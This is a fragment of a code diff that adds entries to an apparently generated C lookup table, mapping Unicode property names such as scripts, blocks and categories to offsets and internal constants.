+  {     1,  2895,     0,   4,   0, PL_ETHI }   /* ethi */,
+  {     0,  3129,  2360,  17,   4, PL_MAND }   /* scriptextensions=mand */,
+  {    23,  2990,   804,   4,   4, PL_ARROWS }   /* inarrows */,
+  {     1,  6041,     0,  12,   0, PL_PLAYINGCARDS }   /* playingcards */,
+  {     0,  7136,  1686,   6,  16, PL_INDICNUMBERFORMS }   /* block=indicnumberforms */,
+  {     1,  3129,     7,  17,  18, PL_CANS }   /* scriptextensions=canadianaboriginal */,
+  {     0,  7136,  2465,   6,  11, PL_COUNTINGROD }   /* block=countingrod */,
+  {     1,  6616,  3223,  10,   3, -PL_DEP }   /* deprecated=no */,
+  {     0,  2985,  7768,  18,   2, -PL_IDST }   /* idstrinaryoperator=f */,
+  {     0,   184,  3675,   3,  15, PL_CYPRIOTSYLLABARY }   /* iscypriotsyllabary */,
+  {     1,  7689,  5610,   3,  11, PL_ALPHABETICPF }   /* isalphabeticpf */,
+  {     3,  4771,     0,  14,   0, PL_INGREEK }   /* greekandcoptic */,
+  {     8,   513,  3223,  16,   2, -PL_UIDEO }   /* unifiedideograph=n */,
+  {     4,    21,  7492,   2,   7, PL_INKANNADA }   /* inkannada */,
+  {     8,   184,  2949,   2,  18, PL_INPUNCTUATION }   /* isgeneralpunctuation */,
+  {     0,  3770,     0,  16,   0, PL_LINEARBSYLLABARY }   /* linearbsyllabary */,
+  {     5,  2369,  3521,   4,   5, PL_VERTSPACE }   /* vertspace */,
+  {     1,   184,  3323,   3,  16, PL_CYRILLICEXTA }   /* iscyrillicextendeda */,
+  {     1,  1354,  7951,  24,   5, PL_COMPEX }   /* fullcompositionexclusion=true */,
+  {     0,  1543,     0,  18,   0, PL_GEOMETRICSHAPESEXT }   /* geometricshapesext */,
+  {     0,  8096,  7882,   4,   6, PL_LYDI }   /* scx=lydian */,
+  {    23,  6890,   540,   4,  30, PL_CJKEXTB }   /* blk=cjkunifiedideographsextensionb */,
+  {     1,  8816,  7944,   3,   2, PL_NV__12 }   /* nv=12 */,
+  {     0,  7136,  2636,   6,  12, PL_MONGOLIANSUP }   /* block=mongoliansup */,
+  {     2,  2229,   106,  16,   6, PL_S }   /* generalcategory=symbol */,
+  {     5,  8011,  1621,   3,   6, PL_CF }   /* gc=format */,
+  {     4,  7136,  2249,   6,  10, PL_INGLAGOLITIC }   /* block=glagolitic */,
+  {     1,  1417,   849,   9,  10, PL_CO }   /* category=privateuse */,
+  {     1,  6890,  3339,   4,  17, PL_CYRILLICEXTB }   /* blk=cyrillicextendedb */,
+  {     1,  7459,  7128,   3,   8, PL_BASS }   /* sc=bassavah */,
+  {     3,  7288,  7043,   7,   9, PL_PAUC }   /* script=paucinhau */,
+  {     6,   184,  5717,   2,  12, PL_ETHIOPICEXTA }   /* isethiopicexta */,
+  {     0,   660,     0,  30,   0, PL_CJKEXTF }   /* cjkunifiedideographsextensionf */,
+  {    13,  5544,  7710,  13,   2, PL_NV__60 }   /* numericvalue=60 */,
+  {     3,  8240,  2289,   3,  11, PL_BC__L }   /* bc=lefttoright */,
+  {     2,  1746,    34,  21,   2, PL_GREXT }   /* graphemeclusterbreak=ex */,
+  {     0,  3509,  3581,  17,   2, PL_PATWS }   /* patternwhitespace=t */,
+  {     2,  3946,  7768,  16,   6, -PL_STERM }   /* sentenceterminal=false */,
+  {     0,  3129,  5933,  17,  12, PL_GONM }   /* scriptextensions=masaramgondi */,
+  {    40,  7288,  4105,   8,   3, PL_BAMU }   /* script=bamu */,
+  {     0,  8026,  2295,   5,   5, PL_INPC__RIGHT }   /* inpc=right */,
+  {     0,  7478,   107,   3,   5, PL_S }   /* issymbol */,
+  {     1,  7136,  6318,   6,  11, PL_MYANMAREXTB }   /* block=myanmarextb */,
+  {     1,  4402,  5959,   4,  10, PL_INMENDEKIKAKUI }   /* inmendekikakui */,
+  {     1,  7136,  8432,   6,   3, PL_INNKO }   /* block=nko */,
+  {     0,  8096,  8540,   4,   4, PL_TAML }   /* scx=taml */,
+  {     8,  3946,  7768,  16,   2, -PL_STERM }   /* sentenceterminal=f */,
+  {     0,  6210,  3273,   4,  15, PL_UCAS }   /* incanadiansyllabics */,
+  {     0,  3129,  6806,  17,  10, PL_WARA }   /* scriptextensions=warangciti */,
+  {     1,  7288,  1797,   7,   4, PL_SC__MODI }   /* script=modi */,
+  {     2,   184,  3390,   2,  11, PL_ETHIOPICEXT }   /* isethiopicext */,
+  {     1,  1417,  5082,   9,  11, PL_MC }   /* category=spacingmark */,
+  {     3,  7459,  8460,   3,   4, PL_SC__PHLP }   /* sc=phlp */,
+  {     6,  5134,  5094,   3,  13, PL_PHONETICEXTSUP }   /* isphoneticextsup */,
+  {     0,  7380,  8654,   7,   3, PL_CCC__133 }   /* ccc=ccc133 */,
+  {     1,   184,  7513,   2,   7, PL_MAND }   /* ismandaic */,
+  {     0,  7457,  8051,   5,   5, PL_INSC__NUKTA }   /* insc=nukta */,
+  {     3,  3129,  3458,  17,  10, PL_MANI }   /* scriptextensions=manichaean */,
+  {     0,  7485,    17,   5,   1, PL_XPEO }   /* isxpeo */,
+  {     1,  6890,  3898,   4,  16, PL_MYANMAREXTB }   /* blk=myanmarextendedb */,
+  {     0,  6890,  3111,   4,   4, PL_RUMI }   /* blk=rumi */,
+  {     2,  6890,  7513,   4,   7, PL_INMANDAIC }   /* blk=mandaic */,
+  {     2,  4314,  5466,  13,  13, PL_JG__MANICHAEANNUN }   /* joininggroup=manichaeannun */,
+  {     1,  4542,  7914,   4,   4, PL_TELU }   /* istelugu */,
+  {     5,  8340,  5746,   3,   7, PL_JG__SEMKATH }   /* jg=semkath */,
+  {     0,  3526,  3223,  17,   3, -PL_RI }   /* regionalindicator=no */,
+  {     0,  8508,  7507,   4,   6, PL_SC__LINA }   /* sc=lineara */,
+  {     0,  2100,   295,   3,   3, PL_OSMA }   /* isosma */,
+  {     0,  6890,  3271,   4,  17, PL_UCAS }   /* blk=canadiansyllabics */,
+  {     0,  6210,  7416,   3,   6, PL_CJKEXTE }   /* incjkexte */,
+  {     2,  6890,   113,   4,  35, PL_DIACRITICALSFORSYMBOLS }   /* blk=combiningdiacriticalmarksforsymbols */,
+  {     2,   974,  8901,  24,   2, PL_CCC__36 }   /* canonicalcombiningclass=36 */,
+  {     0,  1929,  7768,   5,   6, -PL_XPOSIXUPPER }   /* upper=false */,
+  {     1,  6890,  4614,   4,  15, PL_VEDICEXT }   /* blk=vedicextensions */,
+  {     0,   974,  8224,  24,   4, PL_CCC__216 }   /* canonicalcombiningclass=atar */,
+  {     0,  4314,  4792,  13,   3, PL_JG__HEH }   /* joininggroup=heh */,
+  {     2,  7288,  8360,   7,   4, PL_SC__KTHI }   /* script=kthi */,
+  {     1,  7136,  6005,   6,  12, PL_INOLDHUNGARIAN }   /* block=oldhungarian */,
+  {     0,  8096,  8312,   4,   4, PL_HAN }   /* scx=hani */,
+  {     3,  5557,  7768,  13,   2, -PL_PATSYN }   /* patternsyntax=f */,
+  {     5,  7459,  8472,   3,   4, PL_PRTI }   /* sc=prti */,
+  {     1,  8096,  7918,   4,   4, PL_THAA }   /* scx=thaa */,
+  {     8,  4554,  7562,  14,   7, PL_SB__LE }   /* sentencebreak=oletter */,
+  {     4,  8006,  7997,   5,   4, PL_CWKCF }   /* cwkcf=yes */,
+  {    10,  6263,   202,  10,   2, PL_LB__SA }   /* linebreak=sa */,
+  {     0,   184,  1589,   2,  14, PL_LATINEXTA }   /* islatinextendeda */,
+  {     0,   184,  8086,   2,   5, PL_QMARK }   /* isqmark */,
+  {     3,  1887,  7997,   9,   4, PL_XPOSIXLOWER }   /* lowercase=yes */,
+  {    11,  8340,  5427,   3,  13, PL_JG__MALAYALAMLLLA }   /* jg=malayalamllla */,
+  {     2,  3946,  3581,  16,   2, PL_STERM }   /* sentenceterminal=t */,
+  {     1,  7876,     0,   6,   0, PL_LYCI }   /* lycian */,
+  {     4,  8196,  8852,   4,   3, PL_AGE__3_DOT_1 }   /* age=v31 */,
+  {     0,   184,  1160,   3,  24, PL_CWKCF }   /* ischangeswhennfkccasefolded */,
+  {    10,  4644,     0,  15,   0, PL_ZANB }   /* zanabazarsquare */,
+  {     4,  2100,  8449,   3,   3, PL_ORKH }   /* isorkh */,
+  {     6,  8368,     0,   4,   0, PL_LAO }   /* laoo */,
+  {    10,    21,  2128,   2,  21, PL_YIJING }   /* inyijinghexagramsymbols */,
+  {     3,  1963,     0,   7,   0, PL_RADICAL }   /* radical */,
+  {     4,  6613,  4800,   3,  13, PL_HIGHSURROGATES }   /* ishighsurrogates */,
+  {     0,  7288,  7367,   8,   6, PL_SC__BENG }   /* script=bengali */,
+  {    11,  8340,  2427,   3,  19, PL_JG__BURUSHASKIYEHBARREE }   /* jg=burushaskiyehbarree */,
+  {     0,  5645,  3075,  10,  18, PL_BC__B }   /* bidiclass=paragraphseparator */,
+  {     2,  8504,  8935,   3,   2, PL_SB__XX }   /* sb=xx */,
+  {     1,  8376,  3642,   3,  16, PL_LB__CP }   /* lb=closeparenthesis */,
+  {     1,  7459,  8476,   3,   4, PL_SC__COPT }   /* sc=qaac */,
+  {     7,  5645,  2329,  10,  11, PL_BC__R }   /* bidiclass=righttoleft */,
+  {     8,  8011,  1189,   3,   2, PL_LT }   /* gc=lt */,
+  {     3,  7136,  1107,   6,  26, PL_KATAKANAEXT }   /* block=katakanaphoneticextensions */,
+  {     5,  1701,  7951,   2,   5, PL_SD }   /* sd=true */,
+  {     6,  1474,     1,  22,   1, PL_BPT__N }   /* bidipairedbrackettype=n */,
+  {     4,  6935,     0,   9,   0, PL_LATINEXTB }   /* latinextb */,
+  {     1,  6890,  1450,   4,  24, PL_SUPSYMBOLSANDPICTOGRAPHS }   /* blk=supsymbolsandpictographs */,
+  {     0,  8006,     0,   5,   0, PL_CWKCF }   /* cwkcf */,
+  {     1,  4542,  2753,   5,  16, PL_TERM }   /* isterminalpunctuation */,
+  {     8,  7136,  5336,   6,  13, PL_GREEKEXT }   /* block=greekextended */,
+  {     2,  6890,   316,   4,  33, PL_MISCMATHSYMBOLSB }   /* blk=miscellaneousmathematicalsymbolsb */,
+  {     0,  7380,  8639,   4,   3, PL_CCC__118 }   /* ccc=118 */,
+  {     0,  7520,     0,   4,   0, PL_MARC }   /* marc */,
+  {     0,  4104,     0,   5,   0, PL_BAMU }   /* bamum */,
+  {     8,  8572,  5762,   3,   3, PL_LB__ZWJ }   /* wb=zwj */,
+  {     0,   415,  3223,  11,   2, -PL_IDEO }   /* ideographic=n */,
+  {     2,  4449,  7996,   4,   5, PL_NFCQC__Y }   /* nfcqc=yes */,
+  {     2,   436,  7951,   5,   5, PL_NCHAR }   /* nchar=true */,
+  {     0,  4402,   960,   3,   4, PL_MUSIC }   /* inmusic */,
+  {     1,  8196,  8711,   4,   3, PL_AGE__3_DOT_1 }   /* age=3.1 */,
+  {     2,  7288,  8280,   7,   4, PL_SC__CYRL }   /* script=cyrl */,
+  {     0,  6890,  4614,   4,   8, PL_VEDICEXT }   /* blk=vedicext */,
+  {     0,  2750,  3581,  19,   2, PL_TERM }   /* terminalpunctuation=t */,
+  {     0,  3129,  7912,  17,   4, PL_TELU }   /* scriptextensions=telu */,
+  {     8,  5544,  7714,  13,   2, PL_NV__30 }   /* numericvalue=30 */,
+  {     0,  7136,  1635,   6,  23, PL_SUPPUNCTUATION }   /* block=supplementalpunctuation */,
+  {     1,  5657,  7951,   5,   5, PL_BIDIM }   /* bidim=true */,
+  {     2,  7639,     0,   7,   0, PL_LANA }   /* taitham */,
+  {     1,  3516,  3581,  10,   2, PL_XPOSIXSPACE }   /* whitespace=t */,
+  {     0,  7459,  8552,   3,   4, PL_SC__TGLG }   /* sc=tglg */,
+  {     3,  8340,  5023,   3,  14, PL_JG__MANICHAEANYODH }   /* jg=manichaeanyodh */,
+  {     2,  3129,  7918,  17,   6, PL_THAA }   /* scriptextensions=thaana */,
+  {     1,   974,  3262,  24,   5, PL_CCC__B }   /* canonicalcombiningclass=below */,
+  {     0,  1417,  6796,   9,  10, PL_CN }   /* category=unassigned */,
+  {     2,  7136,  1589,   6,  14, PL_LATINEXTA }   /* block=latinextendeda */,
+  {     0,  2023,  7768,  21,   6, -PL_LOE }   /* logicalorderexception=false */,
+  {     0,  4402,  1798,   3,   3, PL_INMODI }   /* inmodi */,
+  {     1,  5544,  5220,  13,   1, PL_NV__0 }   /* numericvalue=0 */,
+  {     0,  7380,  2777,   4,   5, PL_CCC__A }   /* ccc=above */,
+  {     0,  2236,    17,  10,   1, PL_LO }   /* category=lo */,
+  {     0,  8816,  7750,   3,   6, PL_NV__800000 }   /* nv=800000 */,
+  {     2,  5252,     0,   6,   0, PL_XPOSIXXDIGIT }   /* xdigit */,
+  {     0,  7828,  3223,   6,   2, -PL_HYPHEN }   /* hyphen=n */,
+  {     1,  8508,  8047,   4,   4, PL_SC__LIMB }   /* sc=limbu */,
+  {     0,  8096,  8364,   4,   4, PL_LANA }   /* scx=lana */,
+  {     0,  7136,  2674,   6,   9, PL_INSUNDANESE }   /* block=sundanese */,
+  {     8,  6506,  8589,   3,   3, PL_YI }   /* isyiii */,
+  {     0,  4314,  7448,  13,   3, PL_JG__HAH }   /* joininggroup=hah */,
+  {    11,  6706,  8732,  10,   3, PL_IN__5 }   /* presentin=5.0 */,
+  {     1,  6472,  4466,  10,   2, PL_WB__DQ }   /* wordbreak=dq */,
+  {     1,  7136,  3994,   6,   6, PL_INSYRIAC }   /* block=syriac */,
+  {     4,  8816,  7720,   3,   2, PL_NV__40 }   /* nv=40 */,
+  {     1,  3129,  8304,  17,   4, PL_GUJR }   /* scriptextensions=gujr */,
+  {     4,  4314,   727,  13,   3, PL_JG__DAL }   /* joininggroup=dal */,
+  {     1,    34,  7768,   3,   6, -PL_EXT }   /* ext=false */,
+  {     4,  6890,  4813,   4,   7, PL_KANASUP }   /* blk=kanasup */,
+  {     1,  8011,  1690,   3,   2, PL_CN }   /* gc=cn */,
+  {     6,  7459,  7681,   3,   7, PL_ZZZZ }   /* sc=unknown */,
+  {     0,  1417,   106,   9,   6, PL_S }   /* category=symbol */,
+  {     1,  6613,  7451,   3,   6, PL_HANO }   /* ishanunoo */,
+  {    10,  1354,  7768,  24,   2, -PL_COMPEX }   /* fullcompositionexclusion=f */,
+  {     0,  6890,  7646,   4,   7, PL_INTAIVIET }   /* blk=taiviet */,
+  {     1,  8011,  8001,   3,   5, PL_XPOSIXCNTRL }   /* gc=cntrl */,
+  {    10,  4923,  5827,   4,   5, PL_MAHJONG }   /* inmahjong */,
+  {     0,  5544,  8624,  13,   3, PL_NV__1_SLASH_7 }   /* numericvalue=1/7 */,
+  {     2,  5544,  8913,  13,   2, PL_NV__47 }   /* numericvalue=47 */,
+  {     4,   184,  4404,   2,  15, PL_MERC }   /* ismeroiticcursive */,
+  {     3,  7906,  2018,   4,   3, PL_SC__KTHI }   /* sc=kthi */,
+  {    11,  3057,     0,  18,   0, PL_ORNAMENTALDINGBATS }   /* ornamentaldingbats */,
+  {     0,  7288,  8436,   7,   4, PL_NSHU }   /* script=nshu */,
+  {    18,  3129,  6980,  17,   9, PL_NBAT }   /* scriptextensions=nabataean */,
+  {     0,  7380,  8187,   7,   2, PL_CCC__27 }   /* ccc=ccc27 */,
+  {    11,  6706,  8747,  10,   3, PL_IN__6 }   /* presentin=6.0 */,
+  {     0,  8240,  3039,   3,  18, PL_BC__LRI }   /* bc=lefttorightisolate */,
+  {     0,  7380,  8160,   4,   2, PL_CCC__13 }   /* ccc=13 */,
+  {     1,  4314,  8042,  14,   4, PL_JG__KHAPH }   /* joininggroup=khaph */,
+  {     9,  4923,  7516,   5,   4, PL_INMANDAIC }   /* inmandaic */,
+  {     3,  6713,  8861,   3,   3, PL_IN__4_DOT_1 }   /* in=v41 */,
+  {     0,  5657,  7997,  12,   2, PL_BIDIM }   /* bidimirrored=y */,
+  {     0,  6472,  1083,  10,   2, PL_LB__LF }   /* wordbreak=lf */,
+  {    17,  3129,  2674,  17,   9, PL_SUND }   /* scriptextensions=sundanese */,
+  {     0,   974,  7709,  27,   2, PL_CCC__16 }   /* canonicalcombiningclass=ccc16 */,
+  {     0,  7380,  4538,   4,   2, PL_CCC__0 }   /* ccc=nr */,
+  {     1,  3722,     0,  16,   0, PL_HIGHPUSURROGATES }   /* highpusurrogates */,
+  {     0,  8096,  7597,   4,   7, PL_SHAW }   /* scx=shavian */,
+  {     1,  8240,  2329,   3,  11, PL_BC__R }   /* bc=righttoleft */,
+  {     1,   184,  2466,   3,  10, PL_COUNTINGROD }   /* iscountingrod */,
+  {     4,   184,  5825,   2,  12, PL_MAHJONG }   /* ismahjongtiles */,
+  {     2,  4314,  5502,  13,   3, PL_JG__TAW }   /* joininggroup=taw */,
+  {     0,  8320,     0,   4,   0, PL_HLUW }   /* hluw */,
+  {     0,  7136,  8428,   6,   4, PL_INNEWA }   /* block=newa */,
+  {     1,  1855,  7997,  21,   2, PL_CWCM }   /* changeswhencasemapped=y */,
+  {     0,  3129,  7359,  17,   7, PL_AVST }   /* scriptextensions=avestan */,
+  {     0,  8096,  5777,   4,   4, PL_HEBR }   /* scx=hebr */,
+  {     1,  4314,  5528,  13,   3, PL_JG__WAW }   /* joininggroup=waw */,
+  {     0,  8340,  6533,   3,   3, PL_JG__QAF }   /* jg=qaf */,
+  {     0,  7459,  8468,   3,   4, PL_MIAO }   /* sc=plrd */,
+  {     3,  7646,     0,   7,   0, PL_TAVT }   /* taiviet */,
+  {     4,  7457,  5297,   5,  13, PL_INSC__CONSONANTDEAD }   /* insc=consonantdead */,
+  {     0,  8340,  4995,   3,  14, PL_JG__MANICHAEANRESH }   /* jg=manichaeanresh */,
+  {     0,  6208,  7768,   5,   6, -PL_JOINC }   /* joinc=false */,
+  {     0,  6472,   497,  11,   6, PL_WB__NU }   /* wordbreak=numeric */,
+  {    25,  8011,  4569,   3,  15, PL_LT }   /* gc=titlecaseletter */,
+  {     2,  8404,     0,   4,   0, PL_MLYM }   /* mlym */,
+  {     1,  8376,   722,   3,   2, PL_LB__CL }   /* lb=cl */,
+  {     0,  6554,  6882,   3,   8, PL_INBHAIKSUKI }   /* inbhaiksuki */,
+  {     0,  1621,     0,   6,   0, PL_CF }   /* format */,
+  {     1,  6890,  1702,   4,  22, PL_DIACRITICALSFORSYMBOLS }   /* blk=diacriticalsforsymbols */,
+  {     0,   184,  7395,   3,   6, PL_CJKEXTB }   /* iscjkextb */,
+  {     0,  8504,  3914,   3,   5, PL_SB__XX }   /* sb=other */,
+  {     1,  3129,  5957,  17,  12, PL_MEND }   /* scriptextensions=mendekikakui */,
+  {     5,  3424,     0,   4,   0, PL_IDSB }   /* idsb */,
+  {     1,  7459,  8061,   3,   5, PL_OGAM }   /* sc=ogham */,
+  {     8,  8011,  4239,   3,  15, PL_PD }   /* gc=dashpunctuation */,
+  {     8,  7459,  6406,   3,   4, PL_SORA }   /* sc=sora */,
+  {    11,  8532,     0,   4,   0, PL_TAGS }   /* tags */,
+  {     0,   184,  2636,   2,   9, PL_MONG }   /* ismongolian */,
+  {     1,  3129,  8192,  17,   4, PL_ADLM }   /* scriptextensions=adlm */,
+  {     0,  7696,  3223,   6,   2, -PL_XPOSIXSPACE }   /* wspace=n */,
+  {     3,  8376,  7265,   4,   7, PL_LB__LF }   /* lb=linefeed */,
+  {     2,  8248,    17,   4,   1, PL_BPT__O }   /* bpt=o */,
+  {    10,  7459,  7569,   3,   4, PL_OSMA }   /* sc=osma */,
+  {    32,  6890,  6566,   4,  10, PL_BOXDRAWING }   /* blk=boxdrawing */,
+  {     0,  8572,  7165,   3,   3, PL_WB__GAZ }   /* wb=gaz */,
+  {     6,  8368,     0,   3,   0, PL_LAO }   /* lao */,
+  {     1,   974,  8187,  24,   2, PL_CCC__27 }   /* canonicalcombiningclass=27 */,
+  {     1,    47,     0,   1,   0, PL_M }   /* m */,
+  {     0,   974,  8901,  27,   2, PL_CCC__36 }   /* canonicalcombiningclass=ccc36 */,
+  {     5,  7478,  1312,   6,   7, PL_MC }   /* isspacingmark */,
+  {     0,  7288,  7192,   7,   8, PL_SC__GUJR }   /* script=gujarati */,
+  {     0,  7471,  3521,   7,   5, PL_POSIXSPACE }   /* isposixspace */,
+  {     6,  8376,  7681,   3,   7, PL_LB__XX }   /* lb=unknown */,
+  {     4,  7288,  8046,   7,   5, PL_SC__LIMB }   /* script=limbu */,
+  {     0,  1426,  4539,  22,  15, PL_INSC__REGISTERSHIFTER }   /* indicsyllabiccategory=registershifter */,
+  {     1,  2814,     0,   9,   0, PL_HALFMARKS }   /* halfmarks */,
+  {     1,  7227,  7986,   5,   5, PL_POSIXBLANK }   /* posixblank */,
+  {     0,  7288,  8388,   7,   4, PL_LISU }   /* script=lisu */,
+  {     0,  4590,  7768,   2,   6, -PL_VS }   /* vs=false */,
+  {     0,  7380,  8228,   4,   3, PL_CCC__202 }   /* ccc=atb */,
+  {     0,  2229,    17,  17,   1, PL_LO }   /* generalcategory=lo */,
+  {     1,  5968,  8067,   3,   4, PL_INORIYA }   /* inoriya */,
+  {     0,  8240,  4730,   4,  13, PL_BC__EN }   /* bc=europeannumber */,
+  {     2,  6484,     0,  10,   0, PL_IDC }   /* idcontinue */,
+  {     1,  7136,  1790,   6,  22, PL_MODIFIERLETTERS }   /* block=spacingmodifierletters */,
+  {     6,  7168,  7951,   8,   5, PL_EXT }   /* extender=true */,
+  {     0,  6076,  7997,  11,   4, PL_BIDIC }   /* bidicontrol=yes */,
+  {     0,  1306,     0,  24,   0, PL_DIACRITICALSFORSYMBOLS }   /* combiningmarksforsymbols */,
+  {     1,  8376,  6087,   3,  11, PL_LB__BB }   /* lb=breakbefore */,
+  {     8,  8340,  6726,   3,  10, PL_JG__REVERSEDPE }   /* jg=reversedpe */,
+  {     6,  7288,  7336,   7,   4, PL_UGAR }   /* script=ugar */,
+  {     1,  2229,   468,  16,   5, PL_P }   /* generalcategory=punct */,
+  {     0,  4449,    47,  14,   1, PL_NFCQC__M }   /* nfcquickcheck=m */,
+  {    10,  2149,     0,  20,   0, PL_HLUW }   /* anatolianhieroglyphs */,
+  {     0,  8096,  6414,   5,   3, PL_BENG }   /* scx=beng */,
+  {     0,  8412,     0,   4,   0, PL_MTEI }   /* mtei */,
+  {     1,  2065,  7997,  21,   2, PL_NCHAR }   /* noncharactercodepoint=y */,
+  {    16,  5051,  7997,  14,   2, PL_DT__NONE }   /* nfkdquickcheck=y */,
+  {     0,  7816,  7997,   6,   4, PL_GRBASE }   /* grbase=yes */,
+  {     0,   184,  2170,   3,  19, PL_PC }   /* isconnectorpunctuation */,
+  {     4,  7226,  8081,   6,   5, PL_XPOSIXPRINT }   /* xposixprint */,
+  {    19,  5645,  8804,  10,   3, PL_BC__LRI }   /* bidiclass=lri */,
+  {     1,  7208,     0,   8,   0, PL_HIRA }   /* hiragana */,
+  {     2,  7168,  7997,   8,   4, PL_EXT }   /* extender=yes */,
+  {     1,     7,     0,   1,   0, PL_C }   /* c */,
+  {     2,  4314,  5837,  13,  12, PL_JG__MALAYALAMBHA }   /* joininggroup=malayalambha */,
+  {     0,   184,  8416,   2,   4, PL_MYMR }   /* ismymr */,
+  {     7,  7380,  8897,   7,   2, PL_CCC__19 }   /* ccc=ccc19 */,
+  {     1,  3129,  7025,  17,   9, PL_ORKH }   /* scriptextensions=oldturkic */,
+  {     5,  8011,  4224,   3,  14, PL_SC }   /* gc=currencysymbol */,
+  {     3,  4314,     3,  15,   1, PL_JG__KAF }   /* joininggroup=kaf */,
+  {    20,  4554,  1083,  14,   2, PL_LB__LF }   /* sentencebreak=lf */,
+  {     3,  6208,  3223,   5,   3, -PL_JOINC }   /* joinc=no */,
+  {     2,  7136,  5531,   6,  13, PL_MISCTECHNICAL }   /* block=misctechnical */,
+  {     2,  8121,  7997,   5,   2, PL_UIDEO }   /* uideo=y */,
+  {     7,  7457,  2209,   5,  20, PL_INSC__CONSONANTWITHSTACKER }   /* insc=consonantwithstacker */,
+  {     0,   184,  6587,   3,   9, PL_CJKSTROKES }   /* iscjkstrokes */,
+  {     2,   184,  3754,   2,  16, PL_LINEARBIDEOGRAMS }   /* islinearbideograms */,
+  {     0,  7136,  4105,   7,   4, PL_INBAMUM }   /* block=bamum */,
+  {     0,   184,  5414,   2,  13, PL_LOWSURROGATES }   /* islowsurrogates */,
+  {     2,  7689,  4091,   4,  13, PL_ARABICEXTA }   /* isarabicextendeda */,
+  {     6,  7459,  5933,   3,  12, PL_GONM }   /* sc=masaramgondi */,
+  {     0,   184,   283,   2,  33, PL_MISCMATHSYMBOLSA }   /* ismiscellaneousmathematicalsymbolsa */,
+  {     0,  3129,  7653,  17,   7, PL_TIBT }   /* scriptextensions=tibetan */,
+  {     2,  7380,  8646,   4,   2, PL_CCC__29 }   /* ccc=29 */,
+  {     2,  6890,  5681,   4,  12, PL_CYRILLICEXTA }   /* blk=cyrillicexta */,
+  {     0,  7840,  3521,   6,   5, PL_VERTSPACE }   /* isvertspace */,
+  {     0,  8798,  3223,   3,   3, -PL_LOE }   /* loe=no */,
+  {     0,  8204,  7768,   4,   2, -PL_POSIXXDIGIT }   /* ahex=f */,
+  {    32,  7288,  8400,   7,   4, PL_MIAO }   /* script=miao */,
+  {     5,  2985,  7768,   3,   6, -PL_IDS }   /* ids=false */,
+  {     6,  7457,  5191,   7,  14, PL_INSC__INVISIBLESTACKER }   /* insc=invisiblestacker */,
+  {    18,  6706,  8612,  10,   3, PL_IN__1_DOT_1 }   /* presentin=1.1 */,
+  {     4,   184,   132,   2,   2, PL_LM }   /* islm */,
+  {     2,  7288,  5427,   7,   9, PL_SC__MLYM }   /* script=malayalam */,
+  {    26,  3129,  1589,  17,   5, PL_LATN }   /* scriptextensions=latin */,
+  {     0,  7689,  2134,   3,   3, PL_POSIXXDIGIT }   /* isahex */,
+  {     0,  8780,  7997,   3,   4, PL_CWT }   /* cwt=yes */,
+  {     3,  6263,  7681,  10,   7, PL_LB__XX }   /* linebreak=unknown */,
+  {     1,  5037,     0,  14,   0, PL_SK }   /* modifiersymbol */,
+  {     0,  6890,  6980,   4,   9, PL_INNABATAEAN }   /* blk=nabataean */,
+  {     4,  5245,  7768,  13,   2, -PL_POSIXXDIGIT }   /* asciihexdigit=f */,
+  {     0,    34,  3581,   3,   2, PL_EXT }   /* ext=t */,
+  {     1,   184,   691,   3,  29, PL_CUNEIFORMNUMBERS }   /* iscuneiformnumbersandpunctuation */,
+  {     0,   184,  1499,   2,   1, PL_Z }   /* isz */,
+  {     0,  6890,  7555,   4,   7, PL_OLCK }   /* blk=olchiki */,
+  {     0,  7136,  6676,   6,  10, PL_INOLDPERSIAN }   /* block=oldpersian */,
+  {     3,  6484,  7768,  10,   6, -PL_IDC }   /* idcontinue=false */,
+  {     4,  3129,  2249,  17,   4, PL_GLAG }   /* scriptextensions=glag */,
+  {     1,  6890,  7394,   4,   7, PL_CJKEXTB }   /* blk=cjkextb */,
+  {     0,  7478,  7605,   3,   6, PL_SIDD }   /* issiddham */,
+  {     0,  7136,  7604,   6,   7, PL_INSIDDHAM }   /* block=siddham */,
+  {     5,    96,  7997,  10,   2, PL_XPOSIXALPHA }   /* alphabetic=y */,
+  {    12,  8376,  8344,   3,   2, PL_GCB__T }   /* lb=jt */,
+  {     8,  8480,     0,   4,   0, PL_QAAI }   /* qaai */,
+  {    11,   982,     0,   2,   0, PL_L_AMP_ }   /* lc */,
+  {     8,  7136,  4784,   6,   4, PL_INCHAM }   /* block=cham */,
+  {     3,  4542,  3148,   3,  17, PL_TAIXUANJING }   /* istaixuanjingsymbols */,
+  {     1,  7380,  7750,   4,   1, PL_CCC__8 }   /* ccc=8 */,
+  {     1,  8196,  8867,   4,   3, PL_AGE__5_DOT_1 }   /* age=v51 */,
+  {     0,    21,  3239,   4,   8, PL_ALCHEMICAL }   /* inalchemical */,
+  {     2,  1448,  7062,   3,   8, PL_INSAMARITAN }   /* insamaritan */,
+  {     1,  4224,     0,  14,   0, PL_SC }   /* currencysymbol */,
+  {     1,  6210,    43,   3,  25, PL_CJKCOMPATIDEOGRAPHS }   /* incjkcompatibilityideographs */,
+  {     1,  8011,  2088,   3,   2, PL_PD }   /* gc=pd */,
+  {     1,  7288,  8596,   7,   4, PL_ZANB }   /* script=zanb */,
+  {     0,   184,  2065,   2,  21, PL_NCHAR }   /* isnoncharactercodepoint */,
+  {     1,  1426,  7981,  22,   5, PL_INSC__BINDU }   /* indicsyllabiccategory=bindu */,
+  {    12,  7288,  4494,   7,  15, PL_NARB }   /* script=oldnortharabian */,
+  {     1,  5657,  7997,  12,   4, PL_BIDIM }   /* bidimirrored=yes */,
+  {     0,  7478,     6,   3,   1, PL_SD }   /* issd */,
+  {     5,  7604,     0,   4,   0, PL_SIDD }   /* sidd */,
+  {     3,  1202,  7951,   3,   5, PL_DEP }   /* dep=true */,
+  {     0,   974,   226,  24,   2, PL_CCC__BL }   /* canonicalcombiningclass=bl */,
+  {     4,  8096,  2877,   4,  10, PL_DEVA }   /* scx=devanagari */,
+  {     0,   974,  7709,  24,   2, PL_CCC__16 }   /* canonicalcombiningclass=16 */,
+  {     0,  8816,  7750,   3,   5, PL_NV__80000 }   /* nv=80000 */,
+  {     8,  6890,  6786,   4,  10, PL_SUPARROWSC }   /* blk=suparrowsc */,
+  {     2,  4402,  3851,   3,  15, PL_MISCMATHSYMBOLSA }   /* inmiscmathsymbolsa */,
+  {     0,  5051,  7997,  14,   4, PL_DT__NONE }   /* nfkdquickcheck=yes */,
+  {     0,  8376,    73,   3,   2, PL_LB__EM }   /* lb=em */,
+  {     0,  8452,     0,   4,   0, PL_ORYA }   /* orya */,
+  {     5,  5544,  7702,  13,   4, PL_NV__2000 }   /* numericvalue=2000 */,
